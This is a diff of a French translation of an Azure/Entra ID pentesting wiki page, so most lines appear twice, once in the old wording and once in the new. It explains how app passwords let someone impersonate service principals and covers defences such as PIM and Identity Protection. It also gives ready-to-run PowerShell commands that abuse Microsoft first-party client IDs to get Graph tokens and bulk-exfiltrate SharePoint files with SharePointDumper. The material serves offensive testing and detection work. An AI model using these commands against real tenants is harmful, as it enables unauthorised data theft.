> Une chaîne secrète que l'application utilise pour prouver son identité lors de la demande d'un token est le mot de passe de l'application.\
> Donc, si vous trouvez ce **mot de passe** vous pouvez accéder en tant que **service principal** **dans** le **tenant**.\
> Notez que ce mot de passe n'est visible qu'au moment de sa génération (vous pouvez le changer mais vous ne pouvez pas le récupérer à nouveau).\
> Le **propriétaire** de l'**application** peut **ajouter un mot de passe** à celle-ci (ainsi il peut se faire passer pour elle).\
> Les connexions en tant que ces service principals **ne sont pas marquées comme risquées** et **n'auront pas de MFA.**
> Une chaîne secrète que l'application utilise pour prouver son identité lors de la demande d'un token est le **password**.\
> Donc, si vous trouvez ce **password**, vous pouvez accéder en tant que **service principal** **à l'intérieur** du **tenant**.\
> Notez que ce **password** n'est visible qu'au moment de sa génération (vous pouvez le changer mais vous ne pouvez pas le récupérer).\
> Le **propriétaire** de l'**application** peut **add a password** à celle-ci (il peut donc se faire passer pour elle).\
> Les connexions en tant que ces **service principals** ne sont **pas marquées comme risquées** et elles **n'auront pas de MFA.**
Il est possible de trouver une liste d'App IDs couramment utilisés appartenant à Microsoft sur [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
Il est possible de trouver une liste d'App IDs couramment utilisés appartenant à Microsoft dans [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
### Managed Identities
Pour plus d'informations sur Managed Identities, consultez :
For more information about Managed Identities check:
{{#ref}}
../az-basic-information/
@@ -1135,8 +1174,8 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
{{#endtabs }}
> [!WARNING]
> Si un appareil (VM) est **AzureAD joined**, les utilisateurs d'AzureAD vont **pouvoir se connecter**.\
> De plus, si l'utilisateur connecté est **Owner** de l'appareil, il va être **administrateur local**.
> Si un appareil (VM) est **AzureAD joined**, les utilisateurs d'AzureAD pourront **se connecter**.\
> De plus, si l'utilisateur connecté est **Owner** de l'appareil, il sera **administrateur local**.
### Unités administratives
@@ -1175,14 +1214,14 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
{{#endtab }}
{{#endtabs }}
## Exfiltration de données SharePoint déléguée via Microsoft Graph (SharePointDumper)
## Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper)
Les attaquants disposant d'un **jeton Microsoft Graph délégué** incluant **`Sites.Read.All`** ou **`Sites.ReadWrite.All`** peuvent énumérer **sites/drives/items** via Graph puis **récupérer le contenu des fichiers** via des **URL de téléchargement SharePoint pré-authentifiées** (liens temporaires incorporant un access token). Le script [SharePointDumper](https://github.com/zh54321/SharePointDumper) automatise tout le processus (énumération → téléchargements pré-auth) et génère de la télémétrie par requête pour les tests de détection.
Des attaquants disposant d'un **delegated Microsoft Graph token** qui inclut **`Sites.Read.All`** ou **`Sites.ReadWrite.All`** peuvent énumérer **sites/drives/items** via Graph puis **récupérer le contenu des fichiers** via des **SharePoint pre-authentication download URLs** (URLs temporelles incorporant un access token). Le script [SharePointDumper](https://github.com/zh54321/SharePointDumper) automatise le flux complet (énumération → pre-auth downloads) et émet une télémétrie par requête pour les tests de détection.
### Obtention de jetons délégués utilisables
### Obtention de delegated tokens utilisables
- SharePointDumper lui-même **ne s'authentifie pas** ; fournissez un access token (optionnellement un refresh token).
- Des **clients first-party** pré-consentis peuvent être abusés pour émettre un Graph token sans enregistrer d'application. Exemple d'invocations `Invoke-Auth` (depuis [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)) :
- SharePointDumper lui-même **ne s'authentifie pas** ; fournissez un access token (éventuellement refresh token).
- Des **first-party clients** pré-consentis peuvent être abusés pour générer un Graph token sans enregistrer d'app. Exemple d'invocations `Invoke-Auth` (depuis [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)) :
```powershell
# CAE requested by default; yields long-lived (~24h) access token
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
@@ -1195,32 +1234,32 @@ Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)
```
> [!NOTE]
> Les clients FOCI TRUE prennent en charge le rafraîchissement sur plusieurs appareils ; les clients FOCI FALSE exigent souvent `-Origin` pour satisfaire la validation de l'origine de la reply URL.
> Les clients FOCI TRUE prennent en charge le refresh sur plusieurs appareils ; les clients FOCI FALSE exigent souvent `-Origin` pour satisfaire la validation de l'origine de la reply URL.
### Exécution de SharePointDumper pour enumeration + exfiltration
- Dump basique avec UA personnalisée / proxy / throttling:
- Dump basique avec custom UA / proxy / throttling:
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
```
- Contrôle de la portée : inclure/exclure des sites ou des extensions et plafonds globaux :
- Contrôle de la portée : inclure/exclure des sites ou extensions et plafonds globaux :
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
```
- **Reprendre** des exécutions interrompues (réénumère mais ignore les éléments déjà téléchargés) :
- **Reprendre** les exécutions interrompues (réénumère mais ignore les éléments téléchargés):
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
```
- **Rafraîchissement automatique du token sur HTTP 401** (nécessite EntraTokenAid chargé):
- **Rafraîchissement automatique du token sur HTTP 401** (requiert EntraTokenAid chargé):
```powershell
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
```
Notes opérationnelles:
Notes opérationnelles :
- Préfère les tokens **CAE-enabled** pour éviter une expiration en cours d'exécution ; les tentatives de refresh ne sont **pas** journalisées dans le log API de l'outil.
- Génère des **CSV/JSON request logs** pour **Graph + SharePoint** et masque par défaut les tokens de téléchargement SharePoint intégrés (configurable).
- Prend en charge un **User-Agent** personnalisé, un **HTTP proxy**, un délai par requête + **jitter**, et un arrêt sûr **Ctrl+C-safe** pour la mise en forme du trafic lors des tests de détection/IR.
- Préfère les tokens **CAE-enabled** pour éviter une expiration en cours d'exécution ; les tentatives de rafraîchissement ne sont **pas** enregistrées dans le journal API de l'outil.
- Génère des journaux de requêtes **CSV/JSON** pour **Graph + SharePoint** et masque par défaut les tokens de téléchargement SharePoint intégrés (paramétrable).
- Supporte **custom User-Agent**, **HTTP proxy**, **délai par requête + jitter**, et arrêt sûr avec **Ctrl+C** pour le shaping du trafic lors de tests de détection/IR.
## Entra ID Privilege Escalation
@@ -1234,14 +1273,14 @@ Notes opérationnelles:
../az-privilege-escalation/az-authorization-privesc.md
{{#endref}}
## Defensive Mechanisms
## Mécanismes défensifs
### Privileged Identity Management (PIM)
Privileged Identity Management (PIM) dans Azure aide à **empêcher l'attribution excessive de privilèges** aux utilisateurs de manière inutile.
Privileged Identity Management (PIM) dans Azure aide à **prévenir l'attribution excessive de privilèges** aux utilisateurs inutilement.
L'une des principales fonctionnalités fournies par PIM est qu'il permet de ne pas attribuer de rôles à des principals constamment actifs, mais de les rendre **éligibles pour une période donnée (par ex. 6 months)**. Ensuite, chaque fois que l'utilisateur veut activer ce rôle, il doit en faire la demande en indiquant la durée nécessaire (par ex. 3 hours). Ensuite, un **admin doit approuver** la demande.\
Notez que l'utilisateur pourra aussi demander à **prolonger** la durée.
Une des principales fonctionnalités fournies par PIM est qu'il permet de ne pas attribuer des rôles à des principaux qui sont constamment actifs, mais de les rendre **éligibles pour une période donnée (par ex. 6 mois)**. Ensuite, chaque fois que l'utilisateur veut activer ce rôle, il doit en faire la demande en indiquant la durée dont il a besoin (par ex. 3 heures). Ensuite un **administrateur doit approuver** la demande.\
Notez que l'utilisateur pourra aussi demander à **étendre** la durée.
De plus, **PIM envoie des e-mails** chaque fois qu'un rôle privilégié est attribué à quelqu'un.
@@ -1250,13 +1289,13 @@ De plus, **PIM envoie des e-mails** chaque fois qu'un rôle privilégié est att
Quand PIM est activé, il est possible de configurer chaque rôle avec certaines exigences comme :
- Durée maximale (heures) d'activation
- Exiger MFA lors de l'activation
- Exiger le contexte d'authentification Conditional Access
- Exiger MFA à l'activation
- Exiger le contexte d'authentication Conditional Access
- Exiger une justification lors de l'activation
- Exiger des informations de ticket lors de l'activation
- Exiger une approbation pour activer
- Durée maximale avant l'expiration des attributions éligibles
- De nombreuses autres options pour configurer quand et à qui envoyer des notifications lorsque certaines actions se produisent avec ce rôle
- Durée maximale avant expiration des attributions éligibles
- Beaucoup d'autres configurations sur quand et à qui envoyer des notifications lorsque certaines actions surviennent avec ce rôle
### Conditional Access Policies
@@ -1270,17 +1309,17 @@ Voir :
Entra Identity Protection est un service de sécurité qui permet de **détecter quand un utilisateur ou une connexion est trop risqué** pour être accepté, permettant de **bloquer** l'utilisateur ou la tentative de connexion.
Il permet à l'admin de le configurer pour **bloquer** les tentatives lorsque le risque est "Low and above", "Medium and above" ou "High". Cependant, par défaut il est complètement **désactivé** :
Il permet à l'administrateur de le configurer pour **bloquer** les tentatives lorsque le risque est "Low and above", "Medium and above" ou "High". Toutefois, par défaut il est complètement **désactivé** :
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> De nos jours, il est recommandé d'ajouter ces restrictions via Conditional Access policies où il est possible de configurer les mêmes options.
> De nos jours, il est recommandé d'ajouter ces restrictions via des politiques Conditional Access lorsque cela est possible, où il est possible de configurer les mêmes options.
### Entra Password Protection
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) est une fonctionnalité de sécurité qui **aide à prévenir l'abus de mots de passe faibles en verrouillant les comptes lorsqu'il y a plusieurs tentatives de connexion infructueuses**.\
Elle permet également de **bannir une liste personnalisée de mots de passe** que vous devez fournir.
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) est une fonctionnalité de sécurité qui **aide à prévenir l'abus des mots de passe faibles en verrouillant les comptes lorsqu'un certain nombre de tentatives de connexion échouent**.\
Elle permet aussi de **bloquer une liste personnalisée de mots de passe** que vous fournissez.
Elle peut être **appliquée à la fois** au niveau cloud et sur Active Directory on-premises.